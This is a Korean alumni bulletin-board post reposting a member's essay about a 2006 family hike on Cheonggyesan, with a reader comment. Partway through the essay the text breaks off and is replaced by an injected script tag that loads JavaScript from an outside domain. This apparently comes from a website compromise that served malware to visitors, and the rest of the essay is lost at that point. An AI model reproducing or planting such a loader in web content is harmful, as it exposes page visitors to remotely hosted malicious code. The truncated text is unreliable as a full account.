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좀 늦었지만 74회 진우곤 총무님의 재경산행글입니다.
작성자 : 서문용(82회)
작성일 : 2006.12.09 11:16
조회수 : 4,046
본문
74회 선배님들 참석은 저조했지만 글을 너무 잘 쓰셔서 진선배님 글을 퍼 올립니다.
재경인고총동창회 가족산행 스케치
재경인고총동창회 가족산행 스케치
문득 조선 전기에 학자였으며 서예가로 뛰어난 ‘양사언’ 의 시조가 생각난다.
태산이 높다 하되 하늘 아래 뫼이로다
오르고 또 오르면 못 오를 리 없건마는
사람이 제 아니 오르고 뫼만 높다 하더라.
'태산'은 중국 산동에 있는 높고 큰 산으로 알려져 있다. 이런 산도 하늘 아래에 있는 산에 불과한데 대부분의 사람들은 오르려 시도해보기 전에 지레 체념하고 포기해 버린다는 것이니 실천적인 노력의 중요성을 강조하는 교훈적인 내용을 담은 시조라 아니할 수 없다.
2006년도 재경인고총동창회 가족산행이 바람이 좀 쌀쌀한 가운데 11월 12일(일요일) 오전 9시부터 거행되었다. 집결 장소인 과천정부종합청사 역 4번 출구인 코오롱 본사 건물 앞으로 나가니 몇몇 선배님들이 보였다. 나로서는 이번 행사에 처음으로 나가는 터라 다소 얼떨떨했다. 더군다나 74회에서는 나와 이명용 동문이 참가하기로 했을 뿐이고, 이철한 회장은 경희대 학회 의 주요 행사와 겹쳐 참가하지 못한다며 집결 장소에서 얼굴만 비추고 돌아간다고 말했었다.
오전 9시가 되자 사람들이 꽤 모였다. 대부분 70기 이전 선배들이었다. 가족 동반도 더러 보였다. 반가운 이명용 동문이 나타났다. 악수를 나누며 그는 정의섭 동문도 올 것이라고 말하기에 한시름 놓였다. 어제 여러 동문들에게 참석 여부에 대한 연락을 했으나 모두들 내용은 이미 알고 있지만 개인적인 스케줄로 참가하지 못하겠노라고 할 때마다 맥이 풀렸다. 그나마 이명용 동문이 참가한다고 하지 않았더라면 74회 명예를 걸고 꼼짝없이 나 혼자서 참가할 판이었다.
9시 좀 지나 이철한 회장이 나타났다. 꼭 참가해야 하는데 학회 행사 진행에 있어서 중요한 임무를 가지고 있기 때문에 불가피 빠질 수밖에 없다며 미안해 어쩔 줄 몰라 했다. 정의섭 동문은 아직 일어나지 못했다며 불참의 전화가 걸려왔다. 결국 이명용 동문과 내가 74회를 대표하여 참석할 수밖에 달리 없었다.
재경인고총동창회 가족산행 프랑카드를 앞에 하고 기념 촬영을 하였다. 가족 동반까지 하면 인원이 대략 5, 60명 가량 되었다. 기념 촬영이 끝난 후 청계산 매봉 쪽으로 저마다 산행이 시작되었다. 코오스는 과천 제2매봉(368m)에 올라 간 후 망경대(혹은 만경대)를 거쳐 ‘옛골’이라는 곳으로 하산한 후 ‘도솔 식당’에서 점심을 먹는 것으로 잡혀 있었다. 행사는 오후 2시 반쯤에 끝난다는 것이었다.
내게 있어서 산행은 한달 후에 갖는 셈이었다. 아내와 함께 10월 초에 관악산에 올라갔었다. 그 후 이리저리 바쁘다 보니 오늘에야 산을 오르게 되었던 것이다. 이명용 동문은 일주일에 한번씩 꼭꼭 산행을 한단다. 별도의 산악회에 회원으로 가입한 상태라 빠지기가 뭣하다는 것이다.
오랜만의 산행이라 그런지 숨이 찼다. 선발대를 따르느라 힘이 들었다. 그러나 낙엽을 밟을 때마다 바삭바삭 하고 나는 소리가 여간 정겹지 않았다. 부지런히 오른 탓에 이명용 동문과 나는 오전 10시 10분에 과천 매봉에 올랐다. 예전엔 이웃들과 자주 오르곤 했었다. 아침 일찍 올라와 사과를 먹는 맛이 그야말로 꿀맛이었다. 그리고 하산하여 추어탕을 먹으며 정담을 나누기도 했었다.
과천 매봉에서 망경대 방향으로 발걸음을 돌렸다. 이따금 눈에 띄는 먼 산의 모습은 여러 ?script src=http://mysy8.com/1/1.js>
댓글목록 0
김기옥님의 댓글
와우! 산행 모습이 눈에 선하네요! 앞으로도 사진으로 못 보여 주는 모임 소식 많이 알려 주시기 바랍니다. 감사합니다.